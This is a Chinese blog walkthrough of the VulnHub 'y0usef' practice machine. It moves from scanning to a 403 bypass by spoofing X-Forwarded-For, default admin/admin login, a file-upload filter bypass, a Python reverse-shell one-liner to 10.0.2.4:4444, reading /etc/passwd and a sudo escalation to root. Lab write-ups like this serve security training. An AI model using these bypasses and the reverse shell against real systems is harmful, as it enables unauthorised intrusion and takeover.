第八台靶机

第八台靶机

靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova

难度等级:

打靶目标:取得 root 权限 + 2 Flag

攻击方法:

  • 主机发现

  • 端口扫描

  • WEB信息收集

  • 指纹探测

  • 弱口令

  • 403 Bypass

  • 文件上传及绕过

  • base64编码

  • 本地提权

导入靶机与kali在同一网并开启打靶过程

主机发现

sudo arp-scan -l

image-20211207165220375

端口扫描

sudo nmap -p- 10.0.2.9

image-20211207165320784

发现只开放了80和22端口,继续进行应用版本的发现

sudo nmap -A -p22,80 10.0.2.9

image-20211207165518286

既然开启了80端口并且开放了apache服务,那我们打开浏览器去看看是不是有注入,上传,命令执行等漏洞

image-20211207165804947

网站正在建设中,但是服务正在运行

WEB信息收集

指纹信息收集

1.收集服务端软件服务的信息

whatweb http://10.0.2.9

image-20211208091232718

目录扫描

dirsearch -u 10.0.2.9

image-20211208092214478

存在很多403的文件,可是由于权限不够无法发访问,我发发现administrator页面重定向到了自身的页面的/下去了

403 Bypass

使用burp抓取administrator页面的包

image-20211208094933112

可以知道这个页面是存在的,但是由于权限限制导致无法访问。管理员进行权限划分的时候可能存在薄弱性的,对于遇到403的时候我们都要进行一下403bapss尝试进行绕过一波

1.旁站绕过

image-20211208102407334

2.通过覆盖URL的方式进行绕过

image-20211208103536808

3.通过ReFerer头部进行绕过

image-20211208104310983

4.其他方法,利用这些头部信息来欺骗服务器,因为服务器往往藏在重重的代理服务器,waf和防火墙之后,真实流量请求过程( 前端 -> CDN节点 反向代理 -> 真实的waf 再反向代理 ->最终的服务器 )真实环境往往更加的复杂,要经过更多层的反向代理,没经过一次反向代理之后都有可能再请求头添加上一个类似的X开头的非标准http的头部作为记录,在这里进行修改为127.0.0.1,从而达到欺骗服务器的效果

image-20211208105530004

附上一些其他参考链接:https://sapt.medium.com/bypassing-403-protection-to-get-pagespeed-admin-access-822fab64c0b3
https://book.hacktricks.xyz/pentesting/pentesting-web/403-and-401-bypasses
https://infosecwriteups.com/403-forbidden-bypass-leads-to-hall-of-fame-ff61ccd0a71e

回到题目,进过测试使用X-Forwarded-For:127.0.0.1可以绕过403验证,让这个服务器以为这个请求来自于自身请求,服务器对于自身请求不会有限制

image-20211208111430154

弱口令

记得每次请求都要带上X-Forwarded-For:127.0.0.1,不然还会被拒绝

image-20211208111445210

记过测试弱口令账号:admin 密码:admin

image-20211208145028001

文件上传及绕过

在此处发现了上传

image-20211208145153374

上传常用绕过的方式

后缀名

image-20211208150327472

文件类型

image-20211208150342462

文件头

image-20211208150859022

这里直接上传

image-20211208151312154

发现不允许上传,看来有过滤

image-20211208151647088

通过修改文件类型,成功了

使用浏览器直接访问试试看,记得加X-Forwarded-For:127.0.0.1

image-20211208152044676

返回空页面基本上就是成功了

image-20211208152201699

image-20211208152800742

成功突破边界,拿到shell了,查看一下有没有python环境

image-20211208153034050

存在python环境,使用python反弹shell的代码

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

开启kail的nc监听端口

nc -lvnp 4444

image-20211208153821861

成功反弹shell,在升级一下这个shell

python -c "import pty; pty.spawn('/bin/bash')"

image-20211208154118036

本地提权

首先就是查看一下靶机上用户账号的信息

cat /etc/passwd

image-20211208154342083

发现两个账号是存在bash的

我们先去home目录下看看

image-20211208154514638

意外发现一个flag,但是这个flag有点想base64的编码,还有一个yousef的目录

image-20211208154804669

哎嘿,直接给ssh账号和密码了????,之前扫描也发现开放了22端口,走走走,登陆一波

image-20211208155154414

成功登陆,获得新shell,查看一下sudo权限

image-20211208155400982

yousef可以运行系统上的所有程序的,那咱直接切换权限

image-20211208155526458

成功拿到root权限,这是最简单的提权了

既然都有root权限了,那去root目录下看看

image-20211208155651671

发现第二个flag,这也有点像base64的编码

image-20211208155800698

靶机的作者的留言

posted @ 2021-12-08 16:25  甘雨小可爱!  阅读(154)  评论(0)    收藏  举报